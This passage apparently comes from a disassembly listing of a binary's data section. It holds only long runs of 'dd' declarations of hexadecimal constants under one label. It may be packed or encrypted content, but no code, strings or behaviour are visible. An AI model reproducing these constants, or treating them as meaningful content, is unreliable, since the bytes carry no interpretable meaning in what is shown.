		dd 0ECE025C4h, 0C8465164h, 0B9CD73E9h, 0C3B13E65h, 39551BA5h
		dd 0E37BCB93h, 595B0494h, 0F49402E9h, 0C95467FEh, 3032EE55h
		dd 3512201Fh, 40011BE7h, 54F70D28h, 39704A3Ch, 5802F1A5h
		dd 0C4ED9AB9h, 1625E444h, 8B18829h, 2EA85B17h, 580BBDF6h
		dd 7A14D368h, 31554922h, 8C5E3E17h, 8169B2C9h, 0C28D59D2h
		dd 80A0E163h, 35BF05F0h, 8551CE3Ah, 67CB777Fh, 909C0A9h
		dd 0C2180137h, 873E3960h, 19E09F5Bh, 159ECD70h,	292F1043h
		dd 590840CDh, 3FBD5A4Bh, 9C5FFD84h, 1063E8CCh, 0CF61BF48h
		dd 0EFC10B30h, 37F19508h, 5882A4A0h, 13CA7177h,	198D084Dh
		dd 2E52914h, 665315EBh,	82D78432h, 2DBEDCEAh, 2A827641h
		dd 7FFF0BBCh, 2BC3E7FFh, 0F2F5896Ch, 8189A825h,	4875B705h
		dd 560542E5h, 0CD015452h, 1BC9BC0Ch, 13F007C2h,	69292590h
		dd 0C088688h, 63A2FF58h, 5416E294h, 5E25ADCBh, 8476975Dh
		dd 0CA860AE9h, 0F7290DD1h, 6AF27FFh, 0BE8CDEC5h, 0BEE39BBh
		dd 72A57B7Fh, 0A2CB45Ch, 0F615E984h, 549E81E8h,	5924CC3Ah
		dd 333E0903h, 0D907BBDDh, 7B249807h, 0C5680555h, 0F8238F6Eh
		dd 0BD1EDFC8h, 127B488Fh, 0E98802BFh, 3CD223EDh, 4412795Bh
		dd 500B08B8h, 55A9160Bh, 5709BF04h, 7DFF1880h, 90775B52h
		dd 9F089C2Eh, 380E7248h, 0A9BB704Fh, 892DD649h,	0E3E818E7h
		dd 4C823641h, 8B54C25h,	49FAEF3Fh, 0E25F04D0h, 0D6284F55h
		dd 68774090h, 7A7EDB49h, 0A612B44Eh, 3323B80Eh,	362308Ch
		dd 805BFD88h, 0E59852F5h, 0DD38E9F7h, 65BA4EACh, 6412874Eh
		dd 0F3F60001h, 0F19386BAh, 0DCF13288h, 22D4BE02h, 0C297C05Dh
		dd 61F9B4B2h, 3FC137CBh, 44313487h, 0F03A53CCh,	4C940BD7h
		dd 3B490501h, 65D43AC8h, 0A293907Bh, 425E6161h,	7211305h
		dd 0D45B2D35h, 0ED17C8F1h, 62ADFB5Eh, 0C70E5F4Ch, 89443642h
		dd 0E16780F1h, 4D2728DBh, 9261D023h, 0C7BB3821h, 8046DD12h
		dd 0AF1FF1DDh, 955B3040h, 1BF59F48h, 70D5DB27h,	40BCB064h
		dd 212768F8h, 5D7D924Dh, 521A9D6Eh, 7F6B72E9h, 0A8DAD480h
		dd 0D77D2988h, 702FFB26h, 115AD689h, 6BE8FC21h,	9D08A046h
		dd 0FF72774h, 983F225Dh, 0EF85A05Fh, 60AB4B93h,	3A8F0C38h
		dd 0BB915D88h, 0D7E52C1Ch, 81965515h, 14BB08C4h, 31254AB5h
		dd 66EF71FEh, 93CA0EDFh, 5109AD0Dh, 5DA7C25Dh, 0D9C924D3h
		dd 0DC74E940h, 12F0084Fh, 68EC6158h, 0D551DAD8h, 48073F3Ch
		dd 0FE88C72Eh, 5E3F832Bh, 0EEA70322h, 62470DC6h, 3398E6B0h
		dd 0BE4AA730h, 26D6563Ch, 243631BEh, 0FDE55BC0h, 5CCB05ABh
		dd 0A7F140C3h, 0AE7EB07Bh, 9096D390h, 83E79FEFh, 0B9565829h
		dd 412F6A6Fh, 0A4FBF518h, 22DFCEFAh, 6420F888h,	0FF68020Fh
		dd 0CF89D6C8h, 30899655h, 58702BEAh, 312DFB87h,	0CA0B5E1Ch
		dd 44DA2FBEh, 0E4DAC097h, 0C35FC006h, 31794A54h, 0E54B48F6h
		dd 41A9948Ch, 0A1E46A0Dh, 0E6813CEh, 0B30F3040h, 0DE403044h
		dd 4A814EEh, 5201E665h,	25E91FB6h, 0EDF72FCCh, 682FD05Ah
		dd 9BE037Ah, 0EECD62h, 0B753C8FEh, 5BF8D4C2h, 5A04DF2Ch
		dd 0F28043C2h, 5AD08005h, 20C75E30h, 381EE9F5h,	5941FFBCh
		dd 0B178C968h, 467CAF4Eh, 193159E9h, 315EA64Ah,	0EC1B5A5Eh
		dd 0B85A1C81h, 0E58136BAh, 0B630F405h, 0D0F71516h, 209600FAh
		dd 0AAE94AA5h, 0EBFDEE4Ah, 80EB9DCAh, 572511BDh, 1569B83Ch
		dd 0B513F80Bh, 8820BEF9h, 71950092h, 0D7FC003Dh, 8805957Ch
		dd 675E1170h, 7400BB8h,	5E505359h, 6A74582Fh, 25867A7Ah
		dd 9972EEE3h, 844EFD17h, 88FB170Bh, 0D5250843h,	0F3299A98h
		dd 52851EDEh, 0E09B4E76h, 7BD7010h, 164E65BBh, 636E3D9h
		dd 759486Ch, 61120C71h,	0BE006A4Dh, 0C00BADF3h,	0A2894BD1h
		dd 66E9C2FFh, 3998DA8Fh, 102F99E0h, 0FDF16943h,	8FBF02F0h
		dd 50FEAB18h, 4DB00936h, 0A90163E0h, 60B55655h,	4040F1D8h
		dd 0E8D94C21h, 5701C04Ch, 0AD68ACBFh, 0EE36AE4h, 27C56D1Ch
		dd 44061A57h, 0E0A01C3h, 0A1E93510h, 0C37B9D17h, 0AF3D2BCCh
		dd 73BE0FEDh, 0DE6B5497h, 0C37DD862h, 6E239A24h, 56F9D267h
		dd 0E2151BCEh, 1C605082h, 8880125Ch, 29E6BDC2h,	0A754F3FAh
		dd 261324B7h, 45AE0211h, 90D9844Fh, 9E055048h, 0C930127Ah
		dd 0C28014F6h, 0C6E2E09Ch, 5F06BE44h, 0CE9AF964h, 0DFB02A82h
		dd 381848Ah, 0E96E9C6h,	4A495116h, 605B06CAh, 292E9D7h
		dd 0A631FB9Fh, 0B2FD177Dh, 932D4B48h, 0E9C39978h, 0A2F1145h
		dd 8062A909h, 7A6DF7BEh, 0E9C80EC9h, 271C49E1h,	0FCCD47Ch
		dd 86522866h, 0F60114D7h, 0A67C06D0h, 88020FBDh, 514E5AF3h
		dd 5C8AD9A3h, 4C6916EEh, 584BFE08h, 416986E9h, 1054C9h
		dd 0A46857D0h, 2F121C17h, 8DEF295Fh, 0A5E02CD2h, 8D1158A8h
		dd 0ED168426h, 7A02F3EBh, 3BDD8C25h, 26E97EA5h,	0B45194BAh
		dd 0CF7AF8Ah, 46DD8273h, 9E913EEh, 0DE01EDD3h, 96743BC9h
		dd 0B48B7F84h, 0C57F5A13h, 4A55A81Ah, 68C70762h, 4FC591Ch
		dd 0FE04D5D2h, 0A648F8ADh, 5E58581h, 0AA12A5E9h, 6230F398h
		dd 2E8C947h, 2D60C5DDh,	0FCC90A79h, 0EC6188ACh,	0CBBEBD3Dh
		dd 447607BAh, 467F093Eh, 2C1C33A6h, 46B15FD4h, 5E9863BBh
		dd 3B3008E9h, 0BCBD554Dh, 4C92316h, 0DBE02004h,	4B1C8745h
		dd 8E575572h, 9A250230h, 97F46079h, 5B403017h, 0EBC480Ch
		dd 0CB89F41Fh, 7C5D452h, 0D116A7FCh, 0FF2CABEFh, 53320F57h
		dd 0F6E04614h, 0EBACCDA7h, 5EF72913h, 0C707D3EDh, 994CB984h
		dd 45B77880h, 1287E5Bh,	155FB0FDh, 6E5C9022h, 0C4CA4EC1h
		dd 0D205AFE7h, 69B7231Ah, 18FE5127h, 20E951F0h,	5A4A43DCh
		dd 0C0EA41BFh, 6F20D9FBh, 78E4C809h, 0AD19FCAh,	30485169h
		dd 0E44CA2BEh, 74DC056Eh, 0C61E5F8Bh, 0F6B30853h, 28AA894Eh
		dd 57E802CFh, 21293525h, 23068BE9h, 70C54144h, 894F5F5Ch
		dd 59B590B0h, 0BD4BCB0Fh, 781206ACh, 39C21304h,	118B29BCh
		dd 65D076E9h, 53915697h, 0F9FC43FAh, 0F2DDFA27h, 3C2A975Ah
		dd 4E17221Dh, 0D645E2EFh, 9DB8F9C0h, 1A2A0027h,	5243EE25h
		dd 0E05CD138h, 233900DCh, 49E94853h, 8A24957Ah,	0C63BE42Ch
		dd 0D23B3904h, 0FDC15F6Bh, 80053DB1h, 9F054065h, 5B115C12h
		dd 0FBFE5E06h, 0EC8E9DCDh, 0F5827848h, 0C0FF02D0h, 13A1EDACh
		dd 0B53868EEh, 13993D19h, 0D4815BE9h, 0F23FFB29h, 685E04ADh
		dd 7BD83B3Dh, 290D5AFCh, 6B9AF00Eh, 0E3C00AC7h,	0C5F380B0h
		dd 5BDD3B08h, 2884ED04h, 49C5EBEEh, 0E63D930Bh,	0C5F829ECh
		dd 7CD8AAEBh, 0F26B2953h, 5100914h, 860E9B70h, 0FE3551ECh
		dd 5E835DCBh, 0D101A7A3h, 3B5AD031h, 8D3859E5h,	0D703FC05h
		dd 51648E4Fh, 0EE1004F0h, 8493681Dh, 23B0F990h,	2D820F8Bh
		dd 4EC90AFAh, 0B05E085h, 849C5907h, 9011120h, 6E5C15Ch
		dd 0BFFFE260h, 7BAAFD5Ch
		dd 0CA01217h, 84176ADh,	3F122D3Ah, 129179Dh, 23EB571Bh
		dd 6E36F1A0h, 91AD2B5Bh, 0AF390841h, 65F86389h,	36EF810Fh
		dd 1564957h, 0C20DF636h, 90FE7B70h, 8C8B55EDh, 0E8E0E03Bh
		dd 0C8865906h, 1708D1F6h, 0AC3429E9h, 600C9E17h, 1EE8B6Fh
		dd 332F157Bh, 7FF33159h, 0A15F8F8Ah, 0AD86E4Ah,	0E41B425h
		dd 0DE49E388h, 0E64FB344h, 322D0C12h, 0BAFEEBF8h, 87F2885Ch
		dd 65950A0Bh, 27062D58h, 74964BD8h, 6425FA9Ch, 0CA813A5Ah
		dd 1986150Eh, 1226C2C7h, 5AF95E09h, 0F7FBBE34h,	0DE20D82Bh
		dd 5DA02568h, 3238A4E6h, 82A57061h, 0A920DBA8h,	388580D9h
		dd 1D251C5Fh, 0CDAA7E49h, 91BF06A7h, 0BA16213Eh, 2C75385Eh
		dd 0B6D753F3h, 34D95F2Dh, 8117F244h, 909C2199h,	0F70221D7h
		dd 601E4C5Bh, 243FFA9Ah, 2B3B5Ah, 212504C8h, 4D4C99E9h
		dd 5F51C53Ah, 5BC8CA83h, 0B495BC17h, 63F098AEh,	5716CA67h
		dd 0E8F96C62h, 7F53B818h, 12933405h, 0B50BBAA6h, 12B4F0C9h
		dd 6D1C8B54h, 0B0A23B8Fh, 5831FC92h, 0E95DA055h, 80409EF3h
		dd 1ABA52E0h, 21167A2Ch, 1FAED2F7h, 85D30121h, 0FA12E9DEh
		dd 77912904h, 0FE0468BCh, 4FC62080h, 3FAA3EF3h,	0A9821BA5h
		dd 2F5FEB68h, 55A073D6h, 42ADA155h, 981DEFC4h, 614D50FCh
		dd 0E7710E70h, 0F3E04338h, 9DC2AC4Fh, 90DEE918h, 16C7CA25h
		dd 822DBD41h, 0D969B4B9h, 84794468h, 0EA7C8579h, 5AEEE388h
		dd 0D644B83Ah, 0E88E1D0Bh, 16C6F62Ah, 0E0877D79h, 570B6B00h
		dd 8F30117h, 0E90B0871h, 0B92F40C3h, 0B4290B87h, 1A504933h
		dd 4BD67D09h, 22C656CCh, 5BDB9DC5h, 25BE56C0h, 81E75043h
		dd 1142F7Ch, 30C26C51h,	162052E8h, 0B6387F68h, 62A460E3h
		dd 9512D41Fh, 8C2F59DAh, 82293A3Eh, 2BBE46Dh, 7DD48B2h
		dd 699EE28Ah, 1C3CDEEAh, 4D41291h, 1419564Bh, 366F1A09h
		dd 3223DD64h, 1C2EB112h, 71139050h, 626E34A1h, 2A18EC20h
		dd 0BEDEC01Eh, 69520273h, 0A477BAA1h, 0D6107A0Dh, 0CBCB211Dh
		dd 0AC209247h, 5D995ABAh, 4BE714Ah, 0B9398FB2h,	1E4409A0h
		dd 0D29EF7EBh, 5CC39A95h, 0CE527D1h, 0CFC57EAFh, 2FD4B096h
		dd 5DBC11D6h, 765F9807h, 0B09DD42Ch, 0CB07687Ch, 5B71FD75h
		dd 24256DB3h, 108856DEh, 92AC62FCh, 0B353006Bh,	0D84D282Ch
		dd 0E47D9C59h, 0E902E61Ah, 0E154776Ah, 0F63F180h, 256838A1h
		dd 0F959283Eh, 697DDBA8h, 683BD626h, 1FBAB4E3h,	0C02DF0B9h
		dd 56CDE54h, 9D2671D6h,	7208E702h, 3BBB01E4h, 0E8E03818h
		dd 0C0C73130h, 4AFF480h, 32FFF176h, 7958F578h, 0BF665707h
		dd 0F7431421h, 0D7063DDFh, 58E78101h, 3AD2E923h, 0E135580Fh
		dd 5572F32h, 7A93E930h,	0D1A0B2Ch, 440774A0h, 0F1B536E9h
		dd 3DF08398h, 5A23A249h, 7E8556E2h, 820394A4h, 52C0DF25h
		dd 0D0299EFh, 59E96E95h, 0D387E82Eh, 48EA041Dh,	0BAD9F749h
		dd 2DD88F0h, 0E9324E14h, 57DA2890h, 964B4D03h, 0E9D1297Ah
		dd 7FC24153h, 8F60BA59h, 0B51B4866h, 0FFFDD5E3h, 0E596FA71h
		dd 4F9F8B2Bh, 0ED608F9h, 171C5192h, 68A1CC5Eh, 56326A25h
		dd 515E5A20h, 37B82249h, 85417405h, 0A0DE3E7Fh,	0C40E2DE9h
		dd 0A016983Dh, 375854CBh, 30F50E0Dh, 0E7471C05h, 0EF936524h
		dd 0CBFAD7C4h, 0C0B45BA1h, 0B6059FD3h, 63C7BA4Dh, 0E7018A0Ah
		dd 3CA3493Fh, 2402BD20h, 2D7B9A01h, 0DE1AB2D4h,	1A48F597h
		dd 0EA83830Fh, 8DA909h,	0AF0A20DBh, 3BC59D5Fh, 0FB1859A4h
		dd 13D6EA6Dh, 1136561h,	0FE49936Dh, 0A2188167h,	291B9206h
		dd 4ECBE9D8h, 3D45A35Eh, 521A1350h, 97D289E8h, 0A2C5FF9Ch
		dd 0E74EBE6h, 0C44BE122h, 4AFB776Ch, 5D270B39h,	927A7B70h
		dd 9E9E3F77h, 21382D83h, 0FCC8E74h, 278364B4h, 2374FEBAh
		dd 4B1B03C0h, 0A9E0B52Fh, 7E177B05h, 48D82063h,	968BC55h
		dd 68E25368h, 4574147Fh, 0D09720CFh, 5029B280h,	402D9EF6h
		dd 2C3CAC23h, 0C07013DCh, 0FF2078CAh, 3EE99C13h, 0AC2D70BCh
		dd 4B1E28FCh, 43FB2C97h, 50286804h, 0B674B4ECh,	5C2D3C94h
		dd 0F581C0D1h, 64FC4FDDh, 0AB0C7A90h, 184B1C7Ch, 4CAD2637h
		dd 77D10838h, 2B9F42Dh,	1D24EC51h, 685DE768h, 1B11E42Fh
		dd 77BFAADh, 15EC635Ch,	88A4935Bh, 1347614Dh, 7060982Dh
		dd 44E7945Fh, 65904413h, 0C30416FCh, 0FD129C99h, 61E5030Bh
		dd 4685F48h, 965A4EA8h,	7AC0FE10h, 7DAC6036h, 0F9ED4854h
		dd 1D29C513h, 56DEE54Ch, 0CAFA1265h, 1EAD191Dh,	470B814h
		dd 27107AF1h, 1E4601F9h, 8BD5F725h, 19B8F5EBh, 0EABA5011h
		dd 0D9909EA0h, 0B0DCF99Dh, 35E5C72Eh, 5EA1BB2Ch, 202BE702h
		dd 827EF204h, 0D4C58208h, 1F5B55C1h, 61AA5816h,	7F1F016Ah
		dd 0A4C44B2h, 0E8D19F0Bh, 4C2C2074h, 0A6B3F00h,	581461Fh
		dd 1D79DFCEh, 0E82FA7Bh, 0AACB4307h, 96E48875h,	0D45D4A02h
		dd 0E0A28F27h, 0E9475A0Fh, 75A35B43h, 0FF360C00h, 864AE97Ah
		dd 6CEE8F85h, 0FF52E91Dh, 68B15FEFh, 203A64D2h,	57760BD1h
		dd 0E6C6D92Dh, 515E952Bh, 0B5EE0150h, 88897CC5h, 189F4ECFh
		dd 2161C568h, 0E49ED369h, 44CF5C9h, 30F0E91Ch, 0FF2D4F38h
		dd 0E268BD00h, 8CDBBB3Ah, 292757E9h, 71FCF0BFh,	0C3D99DE5h
		dd 0F97BC8ADh, 28082D32h, 0BE65B979h, 0B8A054BCh, 0EFB03695h
		dd 773B3EC0h, 0DC292D21h, 0B308A84Eh, 0F709091Eh, 14FA66F7h
		dd 7B011994h, 4C5ABB00h, 0EBC162EDh, 0B8058BBEh, 1EF9D12h
		dd 0B0562A1Ah, 9AD12045h, 1FD2D80h, 21351630h, 40D158C6h
		dd 0A04F6F3h, 0C0228225h, 951BABB5h, 9BC2E418h,	4AF85381h
		dd 6B53BFFBh, 4054ADBDh, 3D0F61Ch, 5F34C0FEh, 0EFE8C608h
		dd 16BD0111h, 421A9745h, 0B4531782h, 0BB545103h, 92EBF685h
		dd 852A5A1Fh, 2E9DB360h, 0D9096F2Ch, 8815716Fh,	5E17CE36h
		dd 0A9304FBh, 0C20A92B3h, 0D9984AC4h, 74164869h, 325C3E96h
		dd 2D6968F0h, 7C212725h, 2E10237h, 0D00404Eh, 0F976C21Fh
		dd 0F03CA0CFh, 0B4739811h, 7C680B7Dh, 79B1245Fh, 55A0EB0h
		dd 0E6447805h, 0C59A084Ah, 624F5E2Fh, 475F5AD7h, 182C10C5h
		dd 0D52B5FB9h, 65DDE65Ah, 0FF631652h, 45AE7A98h, 54D00203h
		dd 231ECFFh, 7565BF57h,	0C14C46h, 0C3064061h, 0F8266D9Bh
		dd 8486368h, 0E9C1CF26h, 0E68F136Eh, 1B0FA9B0h,	0C8D89525h
		dd 48139C14h, 0B28B12C5h, 0E02E1058h, 0A1D4B03Eh, 2F7C4A44h
		dd 0CDC81926h, 0C1207CADh, 76172A68h, 51521EFCh, 0A3841E96h
		dd 0FC68EDD8h, 15199F34h, 8209D26Bh, 3C0875Dh, 657AD631h
		dd 7042AC26h, 9F262A58h, 2A52F591h, 0BA97FCE9h,	6B345702h
		dd 68888439h, 0D7A715ABh, 2255C0CBh, 6250E2F7h,	0B21A4050h
		dd 0B1554F65h, 4F2F2CD0h, 0D8B12549h, 0D32025BCh, 0C0972B4Ch
		dd 7D307820h, 525870E3h, 915AEAD8h, 8FEF6162h, 536C686Eh
		dd 481788E3h, 683C28CAh, 0EF1FFB31h, 10577F0h, 0DD750965h
		dd 6C0C8036h, 0E915F47Bh, 31495FB2h, 0E6916898h, 228B25D1h
		dd 0BFF6B0Bh, 592F6804h, 48469AB0h, 0E9513005h,	273782DFh
		dd 592176E5h, 0BC6AFC42h, 2F4884A4h, 79BCAB91h,	0E44A4D76h
		dd 0CFF2570Dh, 5F6FFDF6h, 18CC3F57h, 5CBA6BDDh,	1259F1Ch
		dd 206F047Fh, 0DA2901D1h, 32A6E740h, 29187D6Ch,	388C41Fh
		dd 703868A0h, 99F20ADFh, 6E02B864h, 380914F2h, 30E0DA50h
		dd 2E3B7614h, 0F6CB0479h, 0C3AB6434h, 6CBAFA0Bh, 6EEAA40h
		dd 67375404h, 3C84DE01h
dword_4EE94C	dd 1C5B080Bh, 63FC2026h, 0CCC6803Fh, 0F5542A5Eh, 2030895Eh
		dd 5F355BDBh, 51BB174h,	0B7DC1207h, 3850536h, 63F44669h
		dd 0C325143Eh, 3220A772h, 75985295h, 9E2E02F6h,	71D76817h
		dd 0BF8086F9h, 52AE6280h, 56BE09BAh, 0C0F56110h, 1882C6B0h
		dd 0F0634019h, 0CA2C030Bh, 51BF9D26h, 141CA108h, 58132320h
		dd 0DD12F389h, 80EF5CC5h, 7B8A786Ch, 690F6DB8h,	9305E738h
		dd 0D6E93307h, 22166861h, 5C71D5C2h, 0C10C9C82h, 944DE14Eh
		dd 685CDD83h, 0AB841E8Fh, 688582B3h, 0F08DBB3Ch, 4CAAED2Ah
		dd 4396724Dh, 6DA80501h, 0E2A10BDh, 0C9975F64h,	72BAE1AEh
		dd 0DE521656h, 70A376ACh, 0DD8B6541h, 0B0166B46h, 40818D75h
		dd 0C7667949h, 5AE4AB10h, 961C29B8h, 0AA5A385Ch, 7D20CB69h
		dd 0BE568019h, 0AE2D2A13h, 99C50BEEh, 0CEA809D1h, 5E1AC038h
		dd 2B326DD9h, 61223912h, 805564FAh, 0D02DF0ABh,	9283045h
		dd 0BA168305h, 0E915C972h, 1CAC848Dh, 4A387E13h, 6DD20377h
		dd 0BF2EA077h, 1E880A9Eh, 0E7C014Ah, 6CA95F08h,	0D79DE675h
		dd 5D1F2823h, 1452687Ch, 20551056h, 0D1E38101h,	896BA166h
		dd 5B0C1BF0h, 73DAB330h, 0C3683F54h, 0FE06D917h, 5EF1BF12h
		dd 9DB00805h, 58542D50h, 8251BB76h, 0FF5EEB52h,	7AA826C5h
		dd 4E30707Ah, 0AC30C06h, 0AD675E27h, 7B0841D8h,	68A70304h
		dd 6137BD00h, 869049CAh, 0F7421F09h, 0B420D701h, 701284F5h
		dd 30A17FF7h, 0E63260FAh, 986E02F1h, 0FFB6E92Eh, 0B39C55DEh
		dd 0E94CEBD6h, 3B2516DFh, 301451Bh, 0BFE2ED05h,	0EAC53B64h
		dd 0E12C87BAh, 0FAE93F7Ch, 0C49F24F0h, 0B1DF4FC1h, 1C282E98h
		dd 54572568h, 49C2BC18h, 0B26FB9B9h, 5A05CEEFh,	1C8AFF2h
		dd 21429FA6h, 11B8008Eh, 557A892Eh, 0FFDB812Ch,	59E17E42h
		dd 4EEE8207h, 3261B65Eh, 2F6160CEh, 6BAD7195h, 5B2D5B71h
		dd 0C3034B25h, 0D500173Eh, 6E62B2EDh, 98F50169h, 1608832Dh
		dd 0E1D2E941h, 79686AF9h, 257C4F03h, 0E0D704A3h, 5F4BAF08h
		dd 0A5965D5Eh, 0DB26827h, 418FCE83h, 0D7C74805h, 284D507Fh
		dd 0E2CA04E8h, 0D03A072Dh, 0EDC45911h, 0EBC7555Ch, 1B216171h
		dd 0E55D20h, 0BD0CAC2Ch, 33AAB67Ah, 0E61AD09Dh,	0A4B09FD5h
		dd 85CE5EA2h, 81023003h, 0F34542F1h, 46FA1D40h,	0A57DF9BDh
		dd 0B0681D82h, 55DD9AF7h, 0D5C80C1Bh, 0D3C0D4E9h, 753F9468h
		dd 0F683A063h, 890FC990h, 806C82F7h, 0C044864h,	3AAE2429h
		dd 78AB02A6h, 0DF5A4CC0h, 0A8600882h, 3AE18EE0h, 49D6BBF9h
		dd 7E694CCAh, 0B800E21Eh, 4E8870BBh, 97D2C17Ch,	0A1EF04E4h
		dd 0DCAD3AD2h, 517C82D7h, 80D7457Fh, 1EE153E9h,	0AC7419B9h
		dd 0DA93E4EDh, 0BAA7682h, 0C7007F47h, 0B7292FF3h, 24D2F760h
		dd 0BA3A3219h, 8EE5123h, 0D7162839h, 0F6FCB507h, 2B09FA49h
		dd 1D64FA2h, 476CBA7Fh,	7D572072h, 0A25E7EFCh, 22D6AA0h
		dd 10C63013h, 84E1C201h, 0C59D8132h, 7AA11929h,	9E34972Ah
		dd 688474E2h, 0E5E93F60h, 0D71AB45Ch, 734529EBh, 40D850DEh
		dd 9F5FB340h, 7F696E51h, 0DAA89E18h, 612B5581h,	27060D4h
		dd 0FB44D55Eh, 4E9DEA04h, 0DDC0EDEEh, 4B865451h, 12449456h
		dd 9353A208h, 0B02AEAB1h, 6AE340BFh, 714FCEF0h,	2D987BDFh
		dd 6979E2E4h, 0DFFFC645h, 6DE90C63h, 0B3583AE3h, 0CC6F3BD6h
		dd 400E2820h, 310BC181h, 0C057E02Ah, 138DF199h,	0A05A3D8Bh
		dd 854E40E6h, 92F0E0CCh, 766C9F50h, 235E85F8h, 1141DECEh
		dd 3178446Fh, 0A7A6BADFh, 25616D45h, 64C07EAEh,	6DC7E18Bh
		dd 0DF548989h, 0F320E367h, 3EC5CD20h, 0F0DB835Ch, 0B67D9B1Ch
		dd 0FE4AF87Fh, 18DF3497h, 2403701Ch, 12284ED8h,	0A1F5AC61h
		dd 0C102D5F4h, 3F35B880h, 87481F5Eh, 97E62013h,	0F5A583F9h
		dd 0BA467C23h, 7E53913h, 9D6DE206h, 4E95B712h, 0A8B5C85h
		dd 53478CEEh, 8868500Bh, 0E072B37Dh, 0F140E351h, 0D087A721h
		dd 4F1CAE22h, 139A8136h, 6BC74D8Ch, 0D3FFA6C5h,	48782922h
		dd 0D8C06C4Ah, 2C215CBEh, 3356B25h, 5B76671Ch, 62E10C0Eh
		dd 2829CB9Ch, 0C34083Bh, 755E1409h, 16E4CF8Ah, 0B180AD1Fh
		dd 0E77EF207h, 8A261793h, 5189E8E3h, 816DE877h,	24C079CBh
		dd 17196AB1h, 52C53079h, 1C123968h, 0AFFC03A4h,	2C4DF2B0h
		dd 0E9609A04h, 0BF12731Ch, 0E0564172h, 64032385h, 0BFF2D07Dh
		dd 61361E98h, 0CF8838DEh, 51FECC52h, 0ECF0F5ECh, 4A3B5957h
		dd 0F748DACAh, 2EF0710h, 1D478FBAh, 2F88D54Bh, 548C04B5h
		dd 6A1981C8h, 1F8A3FE5h, 0E993F031h, 42DB52AAh,	382FD80h
		dd 0C12E2C68h, 0C701FAEFh, 128D801Ch, 0A5F4E4AFh, 33B248D3h
		dd 0F437ED05h, 5BB4AF71h, 0D33454C6h, 0C8C2A052h, 5A94BDFDh
		dd 53B16E4Bh, 0A51BFD3Ah, 70538F63h, 94C12AEh, 0C154443Eh
		dd 5A80BFE3h, 0C4D3F702h, 0D83175FEh, 7B4E0107h, 0FF03288Eh
		dd 685A5932h, 1AA226D2h, 65D701BEh, 636A8822h, 0EC5D590Bh
		dd 0C779171h, 0C7391E6Fh, 7AA9EC05h, 47EA2106h,	0F2204C1h
		dd 0C2DA0124h, 0C26EB62Ah, 1F3A6817h, 0E04EEACBh, 3C701C53h
		dd 2B07B7Fh, 30212D05h,	82FB42FBh, 365501C6h, 9494A11Bh
		dd 4BCDBE00h, 0D4538425h, 3B051DE2h, 813E121Dh,	0FE770D2Dh
		dd 0AF694015h, 7C9F0120h, 0D73058A3h, 5AA06880h, 64873008h
		dd 9798FB73h, 2DFA544Bh, 8988FA98h, 8B13514h, 880E97AFh
		dd 592B43E5h, 3CEA9458h, 3B276883h, 47547302h, 0B9776983h
		dd 9C6D6A8h, 24BD656h, 2D5709F4h, 0EB9231DCh, 0C712882h
		dd 3DDB2D60h, 2DFE98F0h, 739A723Bh, 8C43C755h, 2979B2E9h
		dd 19357C4Eh, 8D6BB2ADh, 0EC0B4F47h, 14AA300Bh,	0AC10C795h
		dd 31655568h, 460AB2BDh, 0BD0E97CCh, 52E85966h,	17619D00h
		dd 8175DAh, 560FCEFh, 0E9FD29F7h, 31AF1130h, 7AB6224Bh
		dd 0D450736Eh, 46BAB14h, 0AE85F504h, 25FF5516h,	678A1F8Ch
		dd 0E989296Dh, 5EC02416h, 87CBC1EEh, 2FFC3966h,	7F6AC28Fh
		dd 0E4896840h, 0A9075582h, 0F34FBC37h, 71636E04h, 0E0AB2114h
		dd 5016CB0Ch, 0E40D7932h, 528703FFh, 3003597Bh,	0CEE9F209h
		dd 55AAABB5h, 0D7CBEAC3h, 0C226B7E1h, 7F290302h, 0E93435CEh
		dd 37FF21DCh, 0F1C9B3ABh, 0A0B11632h, 5AA5D855h, 0D7E7B75Ah
		dd 0AA135CA6h, 1259ED16h, 4749EAE6h, 5B9216D5h,	6A29E401h
		dd 0EA5F8960h, 48C64F49h, 6D890775h, 540BCC44h,	34B740Ch
		dd 1376BBA6h, 35647EE5h, 99CCFB6Fh, 0F9F14F01h,	0B6C9DE21h
		dd 139CD72Ch, 989C2F9Ah, 88617427h, 0F7048BF8h,	7791C1DDh
		dd 472E3597h, 93599F11h, 1203F57Ch, 0FEF7B450h,	0BD69D1C4h
		dd 0D7CDBB81h, 6137DB45h, 0D825D965h, 5F27E97Fh, 6158C54Dh
		dd 0C2F0DFE9h, 0E2E0515Dh, 5103D4DAh, 7D2CB8B9h, 5FB07Fh
		dd 1CFE40B2h, 0B1ED472Dh, 7E319F25h, 0BD089C14h, 0B9E83AAh
		dd 5DA968E7h, 0CF29C246h, 2D1FD572h, 69442184h,	0FAB21EACh
		dd 0C5BD8370h, 47C049EEh, 0FBBD7CE4h, 8B8211Bh,	0B80A4B9Eh
		dd 0CF1A2F30h, 0F4818099h, 0B7ABC592h, 0BD2B327Ah, 0D125E2E4h
		dd 0CA4C2DAFh, 0AAD3E942h, 6239F4CBh, 0B54E774Eh, 0B9B14C29h
		dd 3D90201Ch, 0D7A57B69h, 109DC296h, 0E6F0852h,	0F1E91F66h
		dd 0A28ABD36h, 80354890h, 9FEF2E4h, 3ECC0CCh, 7CE23303h
		dd 0B73F69A6h, 80C787D7h, 0EF339ACFh, 0E9FC8021h, 9FF8708Ch
		dd 50E9435Ch, 1E353ACEh, 0C0C502C3h, 0D6AA4FA5h, 0B587A099h
		dd 0B8507454h, 88014E21h
		dd 541E5326h, 4C933FDAh, 0C13F764h, 0DFEB7813h,	1CE65A28h
		dd 0C409FC4Eh, 6462EFB4h, 0F69DB358h, 0A302F2DFh, 5903DE4Fh
		dd 2B10F66h, 0E7AB1B45h, 45DF82E2h, 0D3B48B4Bh,	0C93F130h
		dd 0BE5D8030h, 48E75A5Ch, 0EB016838h, 0E9966766h, 0C04FAD22h
		dd 2E440BD8h, 0A63ABEB2h, 0C6D0048h, 84E943AEh,	5261439Ah
		dd 0A3125918h, 25EB8F30h, 0ADB80116h, 16C206ABh, 0FF0DCA80h
		dd 4F218A0h, 5A12D488h,	0FF0EE228h, 0E81EC9E9h,	276A3126h
		dd 0B6C41477h, 2BE0974Eh, 47429721h, 17DE34DDh,	99A03BEh
		dd 11585147h, 509410BAh, 65FC4703h, 0B26804D4h,	0AF762C0Ch
		dd 0A2F60EC1h, 0A54A0829h, 0C4A16F55h, 0A25C16A5h, 9D28C88h
		dd 5DE3C1h, 0F0725E34h,	4B51952Fh, 9815765h, 83A1AEB9h
		dd 6D1CBF3h, 51756804h,	568579E8h, 598EFAD2h, 3F88987Dh
